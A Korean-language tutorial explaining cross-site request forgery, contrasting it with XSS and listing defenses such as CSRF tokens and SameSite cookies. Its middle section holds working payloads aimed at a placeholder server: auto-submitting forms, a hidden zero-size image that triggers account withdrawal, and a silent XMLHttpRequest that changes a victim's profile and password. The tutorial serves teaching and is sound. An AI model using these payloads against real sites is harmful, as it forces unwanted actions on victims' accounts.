Cross Site Rquest Forgery (사이트 간의 요청 위조) : XSS처럼 C를 X로 바꿔서 XSRF라고도 불린다.
CSRF는 사용자가 의도하지 않은 작업을 수행할 수 있도록 유도하는 취약점이다.
대표적으로 사용자 정보 무단 수정, 패스워드 변경, 탈퇴, 게시글 작성 등등...
예시 1번
공격자가 악성 스크립트가 담긴 게시글을 작성하여 웹 서비스에 저장한다. (DB에 해당 게시글이 저장)
인증된 사용자(로그인된 사용자)가 악성 스크립트가 저장된 게시글을 읽게 된다.
DB는 사용자에게 악성 스크립트가 담긴 게시글을 반환해 주게 되면서 사용자에게 악성 스크립트가 발생이 된다. (Client Side Script)
사용자가 의도하지 않은 요청이 발생하게 된다.
예시 2번 (악성 스크립트를 읽는 곳과 악성 스크립트를 발생시켜 요청을 보내는 곳이 분리된 상태)
공격자가 악성 스크립트가 담긴 게시글을 저장할 수 있는 웹 서비스에 저장한다. (DB에 해당 게시글이 저장)
사용자가 해당 게시글을 읽게 되면 악성 스크립트가 발생이 된다. (Client Side Script)
악성 스크립트가 발생하여 CSRF에 취약한 웹 서비스에 의도하지 않은 요청을 하게 되는데, 사용자는 해당 웹 서비스의 인증된 사용자이어야 한다.
위 예시 1번과 2번은 CSRF에 취약한 웹 서비스에서 인증된 사용자이며, 인증된 사용자이어야지만 사용자 정보 수정 및 게시글 작성 등 인증이 필요한 요청을 할 수가 있게 된다.
인증된 사용자가 목적이 아니라면 비인증 사용자도 이용이 가능한 것을 이용한다. 악성 스크립트가 담긴 게시글을 사용자가 읽게 된다면 인증이 필요 없는 게시판 같은 곳에 글을 작성하도록 할 수 있다.
클라이언트 사이드 스크립트 (Client Side Script)이기 때문에 사용자의 IP를 이용하여 홍보 글 또는 공격자의 의도에 맞는 게시글을 작성시킬 수 있다.
XSS
XSS는 악성 스크립트 발생 이후, 공격자 서버에 사용자의 요청을 보내고 공격자 서버에서 다시 사용자에게 응답을 보내주며 공격자의 의도에 맞는 행위를 하게 된다.
XSS의 최종 공격 대상은 사용자(Client)이다.
CSRF
CSRF는 악성 스크립트 발생 이후, 사용자는 CSRF에 취약한 웹 서비스에 의도하지 않은 요청을 보내고, 해당 웹 서비스는 요청에 맞게 처리를 하게 된다.
CSRF의 최종 공격 대상은 서버(Server)이다.
두 공격의 공통점은 사용자를 통해서 악성 스크립트가 발생이 된다는 점이다.
두 공격의 차이점은 XSS는 사용자가 공격 대상이고 CSRF는 서버가 공격 대상이다.
공격하려는 웹 서비스가 XSS에 취약점이 있다면 CSRF에도 취약점을 가지게 된다.
CSRF를 통해 게시글을 작성하려면 입력값, 파라미터, Content-Type, 요청 값 등 어떻게 구성이 되어있는지 참고해야 한다.
예시에서 body 태그의 onload를 통해 submit 버튼을 클릭할 필요 없이 바로 요청을 보내도록 하였다.
(form 태그의 action에는 URL을 복사한 것 이다.)
<body onload="document.forms[0].submit()">
<form action="http://웹 서버 URL/action.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="CSRF로 무단 작성">
<input type="hidden" name="password" value="1234">
<input type="hidden" name="content" value="CSRF로 무단 작성 테스트">
<input type="hidden" name="mode" value="write">
<input type="submit" value="누르기">
</form>
</body>
<body onload="document.forms[0].submit()">
<form action="http://웹 서버 URL/action.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="CSRF로 무단 수정">
<input type="hidden" name="content" value="CSRF로 무단 수정 테스트">
<input type="hidden" name="idx" value="24">
<input type="hidden" name="mode" value="modify">
<input type="submit" value="수정">
</form>
</body>
<body onload="document.forms[0].submit()">
<form action="웹 서버 URL/action.php" method="POST">
<input type="hidden" name="idx" value="29">
<input type="hidden" name="mode" value="delete">
<input type="submit" value="삭제">
</form>
</body>
<body onload="document.forms[0].submit()">
<form action="웹 서버 URL/index.php?page=mypage" method="POST">
<input type="hidden" name="gubun" value="action">
<input type="hidden" name="name" value="[Hacker]관리자">
<input type="hidden" name="email" value="[Hacker]관리자@naver.com">
<input type="hidden" name="company" value="[Hacker]집">
<input type="submit" value="회원정보수정">
</form>
</body>
Img 태그를 사용하여 스텔스 CSRF로 적용한다. (희생자가 파악하지 못하도록)
<img src="웹 서버 URL/withdrawal.php" width="0" height="0">
Ajax를 이용하여 CSRF를 사용하는 방법은 두 가지가 있다.
XML Http Request
jQuery
jQuery 같은 경우에는 버전에 맞는 jQuery를 import 해줘야 하는 번거로움이 있다.
XML Http Request는 가장 범용적으로 사용할 수 있다는 특징이 있다.
<script>
var xhp = new XMLHttpRequest();
xhp.open("POST", "/웹 서버 URL/index.php?page=mypage", true);
xhp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhp.send("gubun=action&name=희생자&password=test&email=희생자@naver.com&company=(주)희생자 집");
</script>
open() 메서드에는 인자가 세 가지가 붙는다.
첫 번째 : 메서드
두 번째 : URL
세 번째 : 동기화(False) 및 비동기화(True) 설정
참고로 위 예시처럼 그대로 작성하게 되면 개행처리가 되기 때문에 개행처리 되지 않도록 작성해 주어야 한다.
Stealth CSRF를 이용하면 비동기화로 처리하기 때문에 사용자는 악성 스크립트를 통한 행위를 알아차리기 힘들다는 특징이 있다.
회원 정보 수정 같은 경우 일반적인 CSRF로 공격할 때 "회원 정보 수정 완료"와 같은 alert 창이 표시되지만, 스텔스 CSRF로 공격하게 되면 alert 창이 나타나지 않게 된다.
1. Referer 값 검증
2. CSRF TOKEN 사용
3. 인증 로직 사용 / CAPCHA 사용
4. SameSite Cookie